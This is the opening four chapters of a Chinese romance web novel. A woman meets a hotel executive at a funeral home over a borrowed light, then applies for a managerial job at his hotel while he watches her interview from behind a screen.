《酒与雪三日》
1. 第1杯酒
《酒与雪三日》
喻言时/文
2021.5.11
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“我说所有的酒,都不如你。”
——《春风十里》
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第1杯酒
腊月二十八,朔风凛凛,寒彻透骨。
这场雪一连下了三天,今早终于歇了。地上铺了薄薄的一层积雪,瓦楞上的冰凌子成串透明,映衬着背后阴霾遍布的天色。
江南地区的雪历来稀少金贵,往年也就飘那么几颗雪沫子,应应景。今年倒是难得下了三天,雪还铺了起来。
殡仪馆设在青陵郊区,距离堰山三公里,抛却市区的喧闹,独享大片寂静。
远山隐隐泛着浓重的墨色,几栋新建的灰白建筑孤寂地伫立在山脚。馆内空旷,十多棵几十年的老树遮天蔽日,身穿黑色制服的工作人员和神色哀恸的家属混迹期间,入目萧瑟又荒凉。
老太太的尸身被推进火炉的那刻,姜家人“扑腾”一下全部跪在地上嚎啕大哭,一个塞一个悲恸。
一时间男男女女的哭声犹如一阵浓云紧紧笼罩在季悄吟耳旁,她只觉得胸腔鼓噪,头疼欲裂。
短时间内,这群人肯定哭不停,她赶紧趁乱从后门退了出去。
堪堪跨出半个身子,骤然间,几声沉闷的鸣响突兀地打破场地内的静寂,重重地敲击她耳膜。
季悄吟下意识掀起眼帘,只见数十米开外的地方,一辆灵车缓慢驶来,适时停在路边。
灵车后面跟了十多辆豪车,此时全部有序地停成两排,那阵仗着实有点大。
车门大开,车上迅速下来四五个人,男女老少,黑衣黑裤,面色肃然。
为首的年轻男人手执黑伞,左手手臂缠一块黑纱,黑纱中间挂一抹醒目的赤红,容颜隐匿在伞下,看不清全貌。
青陵人惯有的习俗,黑纱带红,离开的分明是至亲之人。
跟她一样。
她手臂上也有一块黑纱袖章,正中间那一抹赤红晕染开,仿佛坠入漆黑魅影里的一滴血,让人觉得无比刺眼。
年轻女人的嘴角不禁滑出一丝丝冷笑。
殡仪馆空荡,了无生气。香火味飘散在空中,袅袅无踪迹。
怕姜家人召唤,季悄吟不敢走太远。悄悄退到墙角。
火化房背山而建,一眼望去全是连绵起伏的山峦,几朵乌云在群山间来回徘徊,时聚时散。
哪怕隔了一面墙,隔了数米远,季悄吟还是难以避免地听到了断断续续的哭声。
以前从来不知道姜家人居然这般能哭。
不过也正常,毕竟他们和老太太感情深厚。不像她,过往二十七年和老太太全无半点牵扯,别说哭了,她连悲伤都感受不到丝毫,有的只是一股麻木的清醒。
若不是养母百般劝说,她今天根本就不会出现在这里。
季悄吟背靠着墙站了一会儿。新买的高跟鞋不太合脚,双脚酸疼难耐。
她脱下一只鞋子,抽出脚,松动了下脚趾和脚踝。片刻以后,她又抽出另外一只脚。
再穿上鞋,总算是舒服了一些。
正面迎山,背面靠墙,中间劈开一条三四米宽的过道,天然的风口。这里的冷风吹得比旁处更为顺溜,寒意刺破衣裳,密密麻麻地渗进皮肤,钻到骨子里。
很冷,可脑子却得以清醒片刻。
然而内心积蓄许久的憋闷并未得到纾解,反而在这一刻愈演愈烈,似乎下一秒就会蓬勃而出,呈现燎原之势。心口堵了块大石,嗓子眼发痒,烟瘾毫无预兆就窜上来。
季悄吟不常抽烟,烟瘾也不大。但此刻却迫不及待想抽上一根。
香烟这种东西平日里于她可有可无,但关键时刻能解千愁。
她伸手摸向羽绒服口袋,从中摸出烟盒和打火机。
她应该庆幸今早出门的时候特意带了这两样东西,就怕自己在某个节骨眼会犯烟瘾。
从中取出一根,细白的手指夹着,嫣红的唇一口咬住,低头点烟。
“咔嚓”一声,拇指用力压下,打火机却全无反应,并未如期跳跃出火苗。
她觉着奇怪,又打了两下,依然无效。
她僵愣了数秒,拈起打火机倒了倒,眯起双眼仔细查看,这才发现里面已经没气了。
“晦气!”她忍不住轻嗤一嘴。
真是糟糕的一天,诸事不顺,现在连打火机都要罢工给她添堵。她果然和老太太天生相冲。
季悄吟无比烦躁地剁了下脚,打火机在她手心里转了个圈,迅速抛掷出去,在空中划起一轮弧度,稳稳当当地落入垃圾桶。
她慢吞吞地摘掉嘴里的香烟,递到鼻前细细嗅了嗅。清淡的烟草味,裹着一点点焦油的香味悉数纳入鼻腔。抽不了烟,闻闻烟味儿解解馋也是好的。
闻完她就打算把这根烟给扔了。正欲脱手,谁知过道里脚步匆匆,皮鞋踏过地面,敲出阵阵有规则的声响。
季悄吟的余光捕捉到一截黑色西装裤的裤管,线条利落而流畅。往上便是大衣的衣角,簌簌摇摆。
一个清瘦的,挺拔的,男人的身影,不期而至。
她心下一喜,可以找人借个火。
不等看到来人的脸,她便立刻扬起手中的香烟,声线俏嫩,“这位先生,能否借个火?”
——
宋雁书被人迎面拦住,脚步不由停下。
眼前是个非常漂亮的女人,甚至可以说是惊艳。下巴尖俏,双眸纯净,褐色瞳仁,眼尾上扬,微微盛着光。不笑清冷,笑时风情万种。
宋雁书自小女人缘不断,多的是女人借烟向他搭讪,却是第一次被人在殡仪馆借烟搭讪。
而凑巧的是,他的手里正好握着烟盒和打火机。他也是躲到这里来抽烟的。
人生二十八载,起起伏伏,本以为经历够多,却没想到依然绕不开生死离别。骤然直面死亡,同样手足无措。
外公溘然长逝,无疑生生剜了宋雁书的心。这一整天他的心情都糟糕透了。
打量女人的同时,他的余光却不经意扫到她指间的香烟。
南京炫赫门,修长纤细的烟身,搭配深蓝色滤嘴,这烟不贵,却挺火。源于网上流传的一句话——
“抽烟只抽炫赫门,一生只爱一个人。”
“看来小姐是长情之人。”醇厚低缓,宛如耳语,沉静中透着温润,如磁石一般紧紧攥住季悄吟的耳朵。
徐徐而至,过耳不忘。
季悄吟本能一震,条件反射地抬头,立刻对上男人明亮清湛的琥珀色瞳眸。
四目交接,彼此的视线无处遁形。
他的目光一直停留在她手中的香烟上,不曾移动。
而她却一直盯着他的脸看。
二十八岁的年纪,蓄着一头乌黑浓密的短发,面容绝美。浅蓝细格衬衫打底,黑西服外搭一件同色系毛呢大衣。
双排扣,立领,中襟线垂坠平整,做工精细考究,面料的质地看上去十分柔软。
长睫不受控制地煽动着,频率明显变快。季悄吟的思绪短暂地跳脱了几下,记忆被生生撬开一道口子,某些久违的
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片段纷至沓来。
男人就站在她面前,两人隔开一拳距离,高大挺括的身形无声无息覆过来,罩下一层阴影。
随着他的动作,她立即愣住,呼吸急促。
打火机火苗扑腾亮起来,闪了下季悄吟的眼睛。
短暂的一瞬,思绪快速归位。
“不是要借火?”风大,他用手拢住火苗,略带催促:“快点,要灭了!”
季悄吟赶紧含住香烟,脑袋凑过去。
青烟缭绕而上,烟草味随之而来,在风中缠绕。
在烟草味之外竟还有一个香味毫无征兆地一并卷入鼻息,若有似无的冷冽木香,她以前从来没有闻过。也不知究竟是哪个大牌的香水。
但显而易见,她并不排斥这个香味儿。
“谢谢。”季悄吟抬起头来,自发退后两步,和对方拉开距离。
随意撩起散落在胸前的黑色长发,右侧耳边别一只鱼尾发夹,尾端镶嵌珍珠,润泽细腻。
她猛地灌一口烟,又缓缓吐出,冲男人感激一笑,细长的眼睛里蕴藏了万千风情。
“不客气。”宋雁书收起打火机,掂在手心里,和女人并排而立,语调舒缓,“都说抽炫赫门的是最深情的人。”
原本是来借烟消愁的。可此刻见这个女人抽烟,他的烟瘾竟莫名其妙消掉了。
看美女抽烟可比自己抽烟有意思多了。宋雁书看过不少女人抽烟。唯独眼前这位最为赏心悦目。她抽得很慢很慢,像是有满腹心事。举手投足间又是别样风情。
“先生怕是对我有误会,我这人天性凉薄,身边的人都说我是注孤生的命。”季悄吟自顾笑着,把玩着手中的烟盒。动作漫不经心,烟盒的四个角在她手中转了几转。
“是么?”男人眉棱骨微挑。
女人的话几分真,几分假,他毫不在意。
“是啊,所以男人最好不要爱上我。”
“爱上会怎样?”
“会被甩得很惨。”
宋雁书:“……”
他不置可否,心觉这姑娘未免太过自信。
“你们家谁走了?”再度开口,立刻换了个话题。
“算是我奶奶。”
什么叫算是?远亲吗?
远亲又何必缠黑纱?
“你呢?”漂亮的女人转头看他,呼出一团烟雾。
“我外公。”宋雁书漆黑幽深的双眸飞快地飘过几分痛楚,声音明显低了个度。
季悄吟抿紧唇线,“节哀顺变。”
“你也是。”
她摇摇头,语气寡淡,“我不需要。”
宋雁书:“……”
闻言,宋雁书的视线再次转向女人那张漂亮的脸蛋,准确来说是她的那双眼睛。
她的眼睛晶莹透亮,纤尘不染,出奇的干净。空洞、麻木、阴郁、冷漠,什么情绪都有,独独没有悲伤。一丝一毫都没有。
这是离死亡最近的场所,庄严肃穆,压抑沉闷,耳旁充斥着无数哭诉声。照理悲伤才应该是常态。可她却没有。
黑纱染红,分明是至亲之人,为何不悲伤?
正是怔神之际,迎面走来一个约摸十六七岁的清秀少年,人未至声先到,“喂,舅舅和舅妈到处找你没找到,原来你猫在这里,赶紧走吧,仪式要开始了。”
听见姜家人召唤,季悄吟忙掐了手中的烟,冲着男人扬眉轻笑,“今天谢谢你!”
话音一落,高跟鞋摇曳,纤柔唯美的身影立刻就走远了。
宋雁书握紧手中的打火机,不禁眯了眯眼。
2. 第2杯酒
第2杯酒
等一应仪式落幕,已是晌午过后。
秦家和宋家的亲友纷纷转至西郊墓园,送秦老爷子最后一程。
宋雁书来时跟灵车,回去由助理常至开车。
秦宋两家的车队井然有序地开走了,宋雁书好巧不巧的落到最后。
表弟秦问搭他的车一起去墓园。
两兄弟一个坐副驾,一个坐后座,人手抱一部手机,一个比一个沉默。
常助理专注开车,乐意当个透明人。
黑色宾利驶出殡仪馆大门时,一辆白色大众Polo竟毫无预兆地从左手边窜出来。
两车不期碰上,只差一点,车头就要撞到一起了。
事发突然,常助理倒也冷静。
Polo车主驾车窗降下大半,露出一张年轻女孩子的脸,她打着方向盘,有意避让。
宋雁书透过车窗远远看了一眼,扬声吩咐助理:“小常,让她先走。”
“好的,宋总。”常助理及时挂倒挡后退,为对方腾出空间。
季悄吟面露感激,冲对面开车的小伙子柔柔一笑,“谢谢帅哥,你真是好人!”
心里不由感叹,素质真好,活该人家开宾利!
被美女公然感谢,还是如此明艳动人的大美女,生性内敛的常助理不免闹红了脸。
秦问坐在副驾,绝佳的视角,一眼就将美女的脸纳入眼底。
那自然是足够惊艳的,惊艳到阅美女无数的秦少爷都忍不住渍渍赞叹一句:“这年头这种纯天然的美女不多见了呀!可惜不是我喜欢的菜,不然我这就下车要微信了。”
这脸一看就是没动过刀子的,不止精致,还有辨识度,分分钟碾压外头那些千篇一律的网红脸。
说着眼神偏向后座,调侃道:“哥,这可是你喜欢的类型,不上?”
黑发朱唇,明眸流盼,眉如柳叶,鹅蛋小脸,真正的气质型古典美女,宋雁书的心头好。
年轻男人懒洋洋地掀动下眼皮,压下唇角,冷涔涔的语气,“每天陪着那些猫猫狗狗,是不是太闲了你?如果真这么闲,我是不介意让你回来帮我打理海盛的。”
秦问:“……”
秦问眼皮一跳,慌忙求饶:“我错了哥,当我没说。”
他在惠仁当个宠物医生不香么?犯得着回海盛受虐嘛!
女人操纵流畅,小Polo如过江之鲫,一下子便滑入主干车流。
常助理打着方向盘,赶紧跟了上去。
常至给宋雁书当了两年的总裁特助,察言观色的本事不说练就得如火纯青,但多少还是有一些的。后视镜里,宋雁书一直盯着前面的小Polo,眼神一度晦涩不明。
这举动,这眼神,可太值得深究了。
他赶紧轻踩刹车,自作主张地将车速放慢了一些。
于是乎两车就这么保持着一个合适的车距,一路直行。
刚下过雪,两侧行道树银装素裹,皓白一片。
乌云渐散,天慢慢放晴,几缕日光藏在云层后面,漂闪不定。
直行不过五分钟,导航清脆发出提示:“前方即将进入隧道。”
长达三公里的雪岭隧道,前几年刚建成通车的,大大缩短了青陵市区到近郊的时间。
车子进入隧道后,周围的光线立刻暗了下来。隧道两侧的暖黄路灯不断透过车窗洒进来,将狭小的空间镀上一层朦胧光影。
很快车子从隧道出来,眼前天光大亮。
明暗交接,常助理的眼睛本能地适应了一下。
再抬头,前面的那辆小Polo居然从他眼皮子底下消失了。
他下意识往后视镜里瞟了一眼,注意到宋雁书也在搜寻那辆车的踪迹。
很快他发现对方只是变更了车道,开去了右转专用道。
视线范围内,蓝色路牌清晰醒目:直行前往墓园方向,右转前往宛丘方向。
两辆车终于要分道扬镳了。
须臾,对面路口跳出红灯,常助理及时踩下刹车。
而白色小车则打了右转灯,直接右拐,迅速没了影子。
常助理注意到后座上宋雁书的视线终于移了位,转向了右手边的车窗,盯着外头的建筑物有些神色莫辨,也不知具体在想些什么。
车厢静默一瞬,男人响起他特有的低缓的,深醇的声线,“阿问,今早在殡仪馆碰到的那群人哪家的?”
秦问十指翻动,流畅地操纵着手机,心思全在游戏上,可也不耽误他听清楚宋雁书的提问,慢吞吞地回答:“姜家。”
“姜叙他家?”宋雁书迅速在脑海里搜罗一圈,猛地想起了那个自己见过几面的派出所所长。
“嗯。”秦问脑袋都没抬一下,“是他。”
“姜家有女儿?”
“当然有啊,姜叙有个同父异母的妹妹叫姜殊,青陵一院的麻醉科医生,是我大学学妹。我上午在殡仪馆还碰到她了。”秦问的话就像是倒筛子,一下子就抖落干净了。
既然姜殊是秦问的大学学妹,他肯定认识姜殊。那不久前找自己借火的那位自然就不是姜殊了。
“姜家几个女儿?”
“就一个。”
所以那姑娘究竟是姜家的什么人?为什么她说姜家老太太是她奶奶?难不成是私生女?
一时间脑中居然浮出一连串问题。
想到这里,宋雁书不免哑然失笑。他这是怎么了?为什么会想打探一个只有一面之缘的陌生女人?
外公离世对他打击太大,他一定是伤心过度,眼下居然都犯糊涂了。
***
腊月二十八,正值春运高峰,返乡浪潮一波连一波。季悄吟怕堵车,特意绕开高速,改走国道。
这样一来,时间自然就长了。原本青陵到宛丘开车只需四个小时,愣是生生被拖到了六个小时。
季悄吟临近傍晚才到家。
开了这么久的车,腰酸背痛,精疲力尽。
一进门,放下包,径直瘫在沙发上半天不愿动弹。
“妈,我回来了!”扯着嗓子有气无力地冲厨房方向喊。
厨房里抽油烟机隆隆作响,运作不停。
“悄悄回来啦!”里面快速传出一个温柔和蔼的女声。
汪莉女士关了火,端出一盘芦笋炒腊肉,招呼道:“赶紧洗手吃饭!”
母女俩在路上通了电话,汪女士算着时间烧晚饭,好让女儿到家能赶上一口热饭热菜。
两菜一汤,都是朴素清淡的家常菜,但味道却极好。
季悄吟食欲大开,一口气扒下两碗米饭。
一天之间往返两座城市,除去在殡仪馆,大部分时间都在车上,她几乎没怎么吃东西。眼下是真的饿了,风卷残云,形象都不顾了。
汪莉看着女儿,酝酿一瞬方开口:“悄悄,今天去得人多吗?”
“不多,都是些内亲,姜家没张扬。”这些人越是爬得高,就越是将自己藏得深。大张旗鼓,讲究排场,反而不是聪明人的做法。
“你没送老太太下葬么?”
“没。”季悄吟摇摇头
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,“仪式结束我就直接开车走了。”
“见到姜局长了?”汪莉小心翼翼观察着女儿的脸色,斟酌着用了一个笼统模糊的称谓。
“嗯。”她微微抬头,浓密微卷的睫毛轻轻煽动两下,洒下一弧清影,“妈,这是我最后一次见他,我一直都是您和爸爸的孩子,我姓季。”
对于那个血缘上的父亲,季悄吟毫无感情,今天是二十七年来第二次见他,也是最后一次。
汪莉面露不忍,“好孩子,难为你了。”
如果不是为了她,女儿也不必这样为难自己。
季悄吟搁下筷子,把碗一推,“我去洗澡了。”
汪莉忙站起来,“妈去给你放水。”
“不用了妈,我自己放。”季悄吟拉开椅子,去了卫生间。
太累了,不止身体,还有心理上。那种积压在胸口的沉闷一时半会儿消散不了,一直压着,让人透不过气来。
她往浴缸里注满热水,撒下一把浴盐,清新扑鼻的乳木果香气迅速充斥整个空间。
赤脚踩进去,热水淌过自己的身体,她被大团暖流包裹,热气遍及全身,她一下子暖和起来。
直到这一刻,紧绷了一整天的心弦才终于彻底松懈下来。
泡完澡通体舒畅,整个人都变得鲜活了。
换上一套干净的珊瑚绒睡衣,三两下吹干头发。
随后季悄吟给自己泡了杯茉莉花茶,坐到书桌前,开了电脑。
莹莹一捧光,她滑动鼠标,径直进了海盛酒店的官网。
首页上赫然挂着酒店高层们的证件照。
蓝底照片,藏青色制服,胸前别工作牌,面容清俊如常,只是稍显冷冽,气质卓然。
执行总裁:宋雁书。
二十八岁的领导人,能力足以可见。
海盛酒店是H&S集团旗下的白金五星级酒店,是青陵的本土品牌,在多个一二线城市拥有分店。如今全由宋雁书一手打理。
而H&S集团的创始人则是秦宽。
他是宋雁书的外公,也就是今天殡仪馆送走的那位大人物。
不过早在五年前,H&S集团真正的掌权人就已经是宋雁书的母亲,秦朝霞女士。江湖人称“铁娘子”。
季悄吟盯着那张蓝底照片看了数秒。
笔记本电脑的白光映着她的脸,手指徐徐下滑,翻出人事部的招聘信息。
她仔仔细细地浏览了一遍,除却底层的实习生,海盛这次只对外招聘客房部和公关部的高管。
季悄吟找到上面的邮箱,发送了一份自己的简历。
六年酒店工作经验,客人零差评,离职前还是五星级酒店南岱在宛丘分店的客房部经理。这么漂亮的履历,她自问有信心搏一把。
发完季悄吟关了电脑,心满意足地睡觉。
本想和过去这么多年一样,留在宛丘,陪在母亲身侧。可白天那猝不及防的一眼,火花带闪电,激烈异常,彻底勾出了她深埋在心底的秘密。一路上小心思蠢蠢欲动,压都压不住。
沉寂了十多年,原以为自己早就认命,偏安一隅,不会和那人再有交集。殊不知在见到那人的那刻,她发现她根本就做不到认命,内心涌现出一个强烈又可怕的声音——不断驱使着她前往青陵,去到他身边。命运拽着她往前跑,往离经叛道的路上越走越远。
或许人这一辈子总该有这么一刻,孤注一掷,放手一搏,不计得失,不问成败,做了就好。
她听从心底最真实的声音,先迈出第一步,余下的交给命运。
3. 第3杯酒
第3杯酒
这个除夕照旧是母女俩一起过。
季悄吟的养父离开快十年了,这么些年母女俩相依为命,除夕和平常并未有太大区别,也不过只是一个平常的日子。
大年夜,汪莉女士在包饺子。季悄吟站在一旁给她打下手。
季悄吟提起自己过完年的打算,“妈,过完年我要去青陵工作了。”
“好端端的,怎么要去青陵工作了?”汪女士不免惊诧,心下一慌,“是不是姜家人给你施压,让你回青陵了?”
“不是这样的,妈您误会了。”季悄吟赶紧解释:“是公司的安排,让我回总部工作一年,顺带培训。一年以后回来有望升总监。”
汪女士至今都不知道女儿其实早就从南岱酒店离职了,季悄吟一直瞒着她。毕竟她离职的原因有些复杂,她不敢告诉母亲,怕她担心。
虽说汪女士只是季悄吟的养母,可养母胜过生母。她也是被汪女士捧在手心里长大的,自小悉心照料,呵护备至,母女俩的感情尤为深厚。在季悄吟心里,她就是自己的母亲。
汪莉女士只是一个普通的家庭主妇,文化程度不高。她并不懂女儿工作上的事情。但一听说女儿有望升总监,她就知道这一定是好事。
她笑呵呵地说:“既然是公司的安排,悄悄你就放心去吧。等一年以后再回来,那就是总监了,多厉害呀!”
季悄吟不禁莞尔,“只是有这个可能,八字还没一撇呢!”
汪女士面露自豪,“我女儿这么优秀,总监肯定没跑了。”
“妈,我去青陵工作,你一个人在家我不太放心。等我在那边稳定下来,我就把你接过去一起住。”
“妈妈就不去了。我在老家待了一辈子,亲戚朋友都在这边,去到一个新环境多不习惯。再说我还要留在这里陪你爸爸呢!你安心去工作,有空多回来就是了。反正也不远,开车才四个小时。”
“妈,谢谢您支持我!”
“我当然支持你啦!做父母的哪个不希望儿女好的。”
***
海盛酒店高管的笔试定在正月初七,下午三点。
怕临时赶不上,季悄吟提前一天开车前往青陵。打算在酒店住一晚,养精蓄锐,第二天再参加笔试。
从腊月二十八那天晚上给海盛投了简历,至今十天时间,她一直在准备笔试和面试。她从来不打无准备之仗,要做就要做到最好。
既然是参加海盛的笔试,那也就没必要在别的酒店预订房间了,索性住在海盛。
季悄吟吃完中饭出发,四个小时的车程,差不多五点钟抵达青陵。
在停车场停好车,她拿了行李箱下车。
站在1号楼的旋转玻璃门外,她忍不住驻足打量这片别墅花园式的恢宏建筑。
海盛是青陵本土的品牌,比起南岱全国连锁,统一规整的欧式风格,海盛酒店更具老青陵古朴瑰丽的风情。
酒店背靠堰山,又栖在浪江边,身后是群山环绕,苍翠釉绿,眼前则是天然的江景。客人只需轻轻推开露台的房门,一眼便能看到雾气袅袅的浪江,江面上轮渡停泊,鸣声悠远。堰山大桥横跨两岸,雄伟壮观。
得天独厚的江景房,房价昂贵,却依然吸引了无数有钱人一掷千金。
酒店门童指引季悄吟进到大堂。
她径直到前台办理入住,要了个最便宜的商务标间。
倒也不是她舍不得花钱住贵的房型,而是在南岱工作好几年,各色房型由高到低,她都一一住遍了——客房经理值晚班时有权选择一间房供自己休息。海盛的房型和南岱大同小异,她眼下对任何房型已不剩多少期待。
前台妹子替季悄吟办理好入住信息,将房卡和身份证一并交给她,笑容甜美,声线轻柔,“祝您入住愉快!”
她伸手接过,目光落在妹子纤细白皙的脖颈上,上面几道暧昧的红痕藏在领子里若隐若现。
她微微一笑,善意地提醒:“美女,衣领歪了哦!”
在酒店工作,仪容仪表最为重要。尤其还是海盛这样的白金五星级酒店。看似只是几条暧昧不明的红痕,若是被有心之人看了去,怕是会有诸多解读,搞不好还会惹上麻烦。
职业病使然,季悄吟多说了一句。
她一手捏房卡,一手拎行李箱。倏然转身之际,目光无意识地往大门口瞟了一眼,也就是这一眼,让她整个人瞬间愣住,仿佛被人按下了暂停键。
过去十多年未曾见到一面,而如今短短十天,却已经见到了第二面。
隔着一扇透明的旋转玻璃门,一辆黑色宾利适时停下。
身穿暗红色制服的门童迅速走上前,手脚麻利地开了后座的车门。
车里下来一个年轻的男人,一身浅灰色条纹西装,身姿料峭挺拔,气场贵胄。不看脸,光看这一身行头也能知道这人是上流社会的宠儿。
他在三四个人的簇拥下进入旋转玻璃门。随后步入大堂。
大堂里走动忙碌的员工在见到他之后,自觉退到一旁,主动问好。
他的目光并未做任何停留,仅仅点头致意。行走间,衣摆随着他坚定沉稳的步伐起落有致,像极了挂钟的钟摆一下又一下。
隔了数米远,中间隔着来往的人流,他的目光竟往前台这个方向转来,然后准确无误地落在季悄吟身上。
她很肯定,这道平和悠远的目光是射向她的。
不过仅仅只维持了一两秒,在她做出反应之前,便已抽离。
他径直走向左手边的电梯间。
骤然间,季悄吟被摁了重启键,猛地回过神来,慌忙拉起行李箱跟了上去。
而宋雁书却已经走进了总裁专用电梯,电梯门即将合上,透过门缝,她隐约看到了一个模糊瘦削的轮廓。
她停在原地暗自懊恼,如果她刚刚动作快点,也许还能再多瞧两眼。
不过转念一想,又即刻释然了。她都来海盛应聘了,以后和宋雁书在同一家酒店工作,低头不见抬头见的,总有机会碰面。
***
第二天,笔试在下午三点钟准时开始。
海盛酒店的高管职位还是非常抢手的。偌大的会议室里,十几个西装革履的男士坐在那里埋头答题。而女生只有寥寥四五位。
酒店行业历来压力大,把女人当男人使,把男人当牲口使,能熬到高管级别的,个个都是精英,抗压能力一流。这几位女生同样不容小觑。
笔试的题目不算难,季悄吟准备充足,书写自如。
笔试不过是形式,都是次要的,余下的面试才是重中之重。
四点钟结束,季悄吟收拾好行李,到前台办理退房。
如果不出意外的话,过几天她还要过来参加海盛的面试。
***
一个小时后,人事部经理万方培拿着十多份简历来到了58层总裁办。
他恭敬地站在办公室外敲门。
“进!”一道深醇的嗓音透过门缝传出,清透有力。
得到首肯,万方培推门而入。
此时宋雁书正站在落地窗前接电话,指间燃着一截烟,几缕青烟腾腾而上,揉进空气里,将烟草味铺满空旷的办公室。
他似乎忘了抽,烟灰尽数堆积在尾端,长长的一节,欲落未落。
清隽挺拔的一抹背影,犹如早春拔节的翠竹,一眼便抓住了其他人的目光。
“杨珂,宛丘那个并购案我们海盛势在必得,眼下正值关键时候,你一定不能大意。”
“南岱是我们最有力的竞争对手,密切关注对方的一举一动……”
万方培立在一旁等宋雁书接完电话,他才道明来意:“宋总,刚刚笔试先刷了一轮,我手头这些是进入面试环节应聘者的简历,请您过目。”
“放桌上吧。”宋雁书背着身指挥,嗓音略微低迷。
片刻后,他走到办公桌前,将烟摁灭在瓷质烟灰缸里。
拉开黑色皮椅,整个人慵懒地陷进去。
卜一低头,他便看到了一张熟悉的面容。
蓝底照片,
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圆领白衬衫,妆容很淡,五官精致耐看。唇线紧紧压着,不笑,表情寡淡,目光却清澈见底。
如此保真的照片,不存在任何P图痕迹。照片和人完全能对上。
视线往下移,看到了她的名字:季悄吟。
悄吟,这名字念起来怎么有点拗口?
昨天下午在酒店前台匆匆一眼,见她拖着行李箱,他原以为她是来青陵旅游的,没想到居然是来应聘的。
应聘的还是客房部经理。
简历上有她详尽的信息,二十七岁,祖籍宛丘,毕业于宛丘商学院的酒店管理专业,在南岱酒店任职六年,从酒店实习生一路做到了客房部经理。
相当漂亮的履历!
看到这里,他不禁又返回去看那张蓝底照片。
二十七岁,已然不是刚出象牙塔的小姑娘了。又在酒店行业工作六年,竟还有这般干净的眼神,也是稀奇。
就这样的人,初见那天居然还跟他说她这人天性凉薄,男人千万别爱上她,不然会被甩得很惨。
光看这双眼睛,怎么着都不像是情场老手。
宋雁书其实不太喜欢这样的人,太干净,没有欲.望,这也意味着不好收买。
他快速浏览一遍,放到一旁。随后转向了第二份简历。
万方培站在办公桌前注视着老总的一应动作,他甚至在心里默默估算着宋雁书看每份简历的时间。
十多份简历看完,他发现宋雁书看第一份简历的时间花得最多,足足有两分钟。
而且看完最后一份简历,他又回头拿起第一份简历扫了两遍。
他心里隐隐有了计较,默默记住了上面的名字。等面试那天重点关注。
万方培小声问:“后天的面试您出席吗?”
照理经理以上的职位老总是应该亲自坐镇把关的。但奈何眼前这位用人别具一格,从不以笔试面试的成绩来评判一个人是否真正能够胜任一个岗位。这种流于形式的环节,他历来是不愿出席的。一般全权委托给人事部。
人事部挑上来的人,能用则用,不能用麻溜走人。而他喜欢从酒店中层挑选干部。破格提拔上来的人往往都能挑起大梁,一般也是他的心腹。
万方培也就例行一问,并不指望宋雁书真会出席后天的面试。
没想到宋雁书松开手中的简历,语出惊人,“我跟你去看看。”
万方培心下惊讶,但面上却并未表现出来分毫。他垂眸淡声说:“好的宋总。”
***
第三天下午,季悄吟如期抵达海盛参加面试。
一面,二面,三面,在同一天完成。这对于面试者来说挑战巨大。
一面,二面,季悄吟还算顺利。
到了三面,她开始有些紧张。因为她很有可能会碰到宋雁书。经理以上的职位,老总一般都是会亲自坐镇的。
前面两轮刷掉了七八个人,最后留下来四人。四进一,难度系数还是挺大的。
能扛到三面的,绝非等闲之辈,个个都是精英。
面试顺序由面试者抽签决定。季悄吟抽到了4号,也就是最后一位。
其实面试这种事还是越早越好,一鼓作气面完,早死早超生。拖到最后反而压力倍增。
坐在等候区,季悄吟感觉自己的小腹隐隐作痛,有种强烈的下坠感,尤其难受。
这种感觉她并不陌生。她算了算时间,应该是姨妈来拜访她了。
她赶紧去翻包,倒腾空,也没翻出一片卫生棉。
百密一疏,她暗自懊恼,自己太过大意,居然没有在包里提前备好东西。
无奈之下,她只好求助酒店工作人员。
想来运气也算好,眼前刚好路过一个年轻的女服务员。她眼疾手快拽住人家,“不好意思,打扰一下,特殊情况,能帮帮忙吗?”
年轻的女服务先是一怔,目光下垂,落在季悄吟脸上,认出她就是前两天在酒店前台提醒自己衣领的女客人。
她眼睛一亮,忙说:“请跟我来。”
4. 第4杯酒
第4杯酒
匆忙解决完,季悄吟再回到等候区。刚好轮到她。时间掐得特准,一分不差。
她深吸了一口气,推门而入。
并未如她所想,里面只坐着三个面试官。而本该出现在这里的人不见踪影。
她心中不免放松下来,那人亲自面试,她还担心自己会紧张出错。
为首的面试官对着季悄吟和气一笑,“我是海盛酒店人事部经理万方培。”
她露出笑意,“万经理您好。”
“我们可以开始了吗?”
“您请。”
万方培清了清嗓子,开始提问:“季小姐,你了解我们酒店吗?为什么选择我们?”
……
突发情况明显影响到了季悄吟的表现。小腹一阵一阵绞痛,她的脸色越来越白,呼吸愈见厚重,吐字也越发缓慢艰难。
小腹的坠痛,牵扯到了全身,让她的脑子也变得有些迟钝了。
不止脑子,就连视线似乎都有些模糊。眼前人影摇晃,看不真切。
这是三面,人事部经理亲自坐镇,提问自然不会少,就跟炸.弹似的,接二连三抛出来。
她全凭一口仙气撑着,努力将对方给出的问题回答完。
她眼看着对面三个面试官的神色逐渐暗沉起来。
季悄吟的那颗心猛地沉了沉,越发没底了。
百密一疏,辛辛苦苦准备了这么多天,没想到在姨妈上栽了跟头。她简直郁闷地不行。
不行,她不能就这么放弃,这是她唯一的机会,她必须抓牢。
面试过半时,季悄吟觉得自己马上就要撑不住了,她及时叫停:“万经理,咱们能休息一会儿再继续吗?我有点不舒服。”
万方培明显一怔,当HR这么多年,头一次遇到面试到一半,被应聘者叫停的,说想休息。
他下意识往屏风后面瞟了一眼,一时间摸不准该怎么处理才好。
就在此时,手机微微震动一下,进来一条微信。
宋雁书:【给她十分钟。】
老总都应允了,万方培他能不答应嘛!
“那我们休息十分钟可以吗?”
“可以,谢谢万经理!”
这十分钟,季悄吟快速调整自己,她找万方培的秘书要了杯热水,缓缓喝完。
热水入腹,全身回暖,思维和理智也归位了。
再继续时,她就跟换了个人似的。对于面试官抛出的问题,应答如流,甚至可以说是完美。
短短十分钟,竟有脱胎换骨之势,令人惊讶。
三个面试官不由点头,面露满意。
结束后,万方培的余光扫向季悄吟的简历,淡笑开口:“据我所知,季小姐之前任职南岱酒店,方便问一下离职原因吗?”
季悄吟眯起双眼,眼神微暗,“一些私人原因。”
“季小姐是宛丘人,之前也一直在宛丘工作,为什么这次会想来我们青陵?”
天地良心,这个问题万方培是自作主张为宋雁书问的。他的眼睛可尖着呢!经过以上种种,要说这两人之间没点猫.腻,鬼都不信。
年轻的女人勾唇浅笑,声线轻柔动听,“江南好,风景旧曾谙,我是来看风景的。”
在她心里,美男也是一道靓丽的风景线呐!
——
待玻璃门重重合上,宋雁书才从屏风后走出来。
灰蓝色西服修身,西装裤勾勒出完美流畅的腿部线条,整个人颀长英挺,如松如柏。
三个高层忙站起来,毕恭毕敬,“宋总。”
宋雁书的目光越过下属,转到桌上的简历。
万方培会意,忙拿起来递给他。
